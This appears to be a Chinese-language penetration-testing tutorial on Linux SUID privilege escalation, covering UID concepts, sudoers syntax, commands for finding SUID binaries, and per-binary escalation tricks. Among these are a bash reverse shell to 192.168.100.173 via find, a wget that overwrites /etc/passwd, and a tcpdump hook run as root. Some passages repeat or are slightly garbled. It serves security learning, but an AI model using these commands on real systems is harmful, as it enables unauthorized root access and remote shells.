對Linux—suid提權的一些總結
一、初識SUID
1.suid的簡介
suid即set user id,是一種授予文件的權限類型,它允許用戶使用者以文件所有者的權限來執行文件。需要這種特殊權限的場景在Linux下很常見。
已知的可以用來提權的Linux可執行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
比如常用的ping命令。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root權限的(當然不是說引入CAPABILITIES就不需要權限了,而是可以通過其他方法解決,這個后說),所以你如果在一些老的系統里ls -al $(which ping),可以發現其權限是-rwsr-xr-x,其中有個s位,這就是suid:
root@linux:# ls -al /bin/ping -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping
設置了s位的程序在運行時,其Effective UID將會設置為這個程序的所有者。比如,/bin/ping這個程序的所有者是root,它設置了s位,那么普通用戶在運行ping時其Effective UID就是0,等同于擁有了root權限。
這里引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:
Real UID 執行該進程的用戶實際的UID,誰通過shell運行就是誰
Effective UID 程序實際操作時生效的UID,一般在進程啟動時,直接由Real UID復制而來;或者是當進程對應的可執行文件的suid標志位為s時,為該文件的所屬用戶/組。所以利用suid文件進行提權需要2個前提:文件的所有者是 0 號或其他super user 文件擁有suid權限
在os層面目前常見發行版linux也會對suid的權限進行限制,具體可以參考p神這篇文章 ,把suid的提權簡單抽象為一個c代碼
int main(int argc, char* argv[]) {
return system(argv[1]);
}
編譯并賦予suid權限
root@linux:/tmp# gcc suid.c -o suid root@linux:/tmp# chmod +s suid
2./etc/sudoers 語法
root ALL=(ALL) ALL
root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,并運行ALL(任何)命令。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。
touhid ALL= /sbin/poweroff
輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。
touhid ALL = (root) NOPASSWD: /usr/bin/find 不輸入密碼,可以 sudo 執行 find 命令。
這里引入了一個新的概念Effective UID。Linux進程在運行時有三個UID:
Real UID 執行該進程的用戶實際的UID;
Effective UID 程序實際操作時生效的UID(比如寫入文件時,系統會檢查這個UID是否有權限);
Saved UID 在高權限用戶降權后,保留的其原本UID(本文中不對這個UID進行深入探討)。
通常情況下Effective UID和Real UID相等,所以普通用戶不能寫入只有UID=0號才可寫的/etc/passwd;有suid的程序啟動時,Effective UID就等于二進制文件的所有者,此時Real UID就可能和Effective UID不相等了。
有的同學說某某程序只要有suid權限,就可以提權,這個說法其實是不準確的。只有這個程序的所有者是0號或其他super user,同時擁有suid權限,才可以提權。
2. 查找具有 SUID 權限位文件
以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
也可以使用 sudo -l 命令列出當前用戶可執行的命令

二、常見的提權方式
1.Nmap
nmap是一個經典的端口掃描工具,當目標主機存在版本在2.02-5.21之間的nmap且os的版本在上面受影響的范圍內或更早就可以嘗試使用這種方法進行提權。
nmap --interactive //進入交互模式

nmap -v //查看版本

nmap> !sh sh-3.2# whoami root

Metasploit也有利用SUID Nmap進行提權攻擊: exploit/unix/local/setuid_nmap

nmap提權失敗可能出現的原因:
nmap在高版本中限制了suid權限;
lua腳本中限制了suid權限;
新版Linux系統對子進程的suid權限進行了限制。
2.Find
如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。

$ find 1sh -exec bash -i >& /dev/tcp/192.168.100.173/5656 0>&1 \;

3.Vi/Vim
vim是linux下常見的文本編輯器,但是如果vim被配置了suid權限,那么運行時就會獲取高權限進而對只有root用戶才有權限讀寫的文件進行操作或獲取高權限shell。在vi/vim中按下esc再輸入一下內容即可獲取到root的shell :


vim.tiny Press ESC key :set shell=/bin/sh :shell

4.bash
bash -p id
5.Less/More
Less 和 more 都可以執行提權的shell
less /etc/passwd

!/bin/sh

6.python/perl/ruby/lua/php/etc
python -c "import os;os.system('/bin/bash')
7.cp覆蓋 /etc/shadow 或 /etc/passwd

8.mv
覆蓋 /etc/shadow 或 /etc/passwd
9.其它方式
1.nano
2.nano /etc/passwd
3.awk
4.awk 'BEGIN {system("/bin/sh")}'
5.man
6.man passwd
7.!/bin/bash
8.wget
9.wget http://192.168.56.1:8080/passwd -O /etc/passwd
10.apache
11.僅可查看文件,不能彈 shell:
12.apache2 -f /etc/shadow
13.tcpdump
14.echo $'idcat /etc/shadow' > /tmp/.test
15.chmod +x /tmp/.test
16.sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
17.python/perl/ruby/lua/php/etc
18.python
19.python -c "import os;os.system('/bin/bash')"
20.perl
21.exec "/bin/bash";
三、查找SUID權限文件
以下命令可以找到正在系統上運行的所有SUID可執行文件,命令將從 / 目錄中查找具有SUID權限位且屬主為root的文件并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。
find / -user root -perm ``-4000 -``print 2``>/dev/null
find / -user root -perm ``-4000 -exec ls -ldb {} \;
find / -perm -u=s -type f ``2``>/dev/null
- 不同版本下linux的不同輸出
Linux發行版輸出結果Ubuntu 14.04uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Ubuntu 16.04uid=33(www-data) gid=33(www-data) groups=33(www-data)Ubuntu 18.04uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 6uid=33(www-data) gid=33(www-data) groups=33(www-data)CentOS 8uid=33(www-data) gid=33(www-data) groups=33(www-data)Debian 6uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Debian 8uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)Kali 2019uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ubuntu 16.04的不同之處就在dash目錄:
下載其中的dash_0.5.8.orig.tar.gz和dash_0.5.8-2.1ubuntu2.diff.gz并分別解壓,我們可以看到dash 0.5.8的原始代碼,和Ubuntu對其做的patch。
我們對原始代碼進行patch后,會發現多了一個setprivileged函數:
void setprivileged(int on)
{
static int is_privileged = 1;
if (is_privileged == on)
return;
is_privileged = on;
/*
* To limit bogus system(3) or popen(3) calls in setuid binaries, require
* -p flag to work in this situation.
*/
if (!on && (uid != geteuid() || gid != getegid())) {
setuid(uid);
setgid(gid);
/* PS1 might need to be changed accordingly. */
choose_ps1();
}
}
on的取值取決于用戶是否傳入了-p參
on的取值取決于用戶是否傳入了-p參數, 而uid和gid就是當前進程的Real UID(GID)。可見,在on為false,且Real UID 不等于Effective UID的情況下,這里重新設置了進程的UID:
setuid(uid) setuid函數用于設置當前進程的Effective UID,如果當前進程是root權限或擁有CAP_SETUID權限,則Real UID和Saved UID將被一起設置。
所以,可以看出,Ubuntu發行版官方對dash進行了修改:當dash以suid權限運行、且沒有指定-p選項時,將會丟棄suid權限,恢復當前用戶權限。
這樣以來,dash在suid的表現上就和bash相同了,這也就解釋了為什么在Ubuntu 16.04以后,我們無法直接使用SUID+system()的方式來提權。
總結:
suid提權是滲透測試種經常遇到的情況,遇見的不同系統、不同環境都會有不同的提權方式,掌握多種提權方式是滲透的必備的。
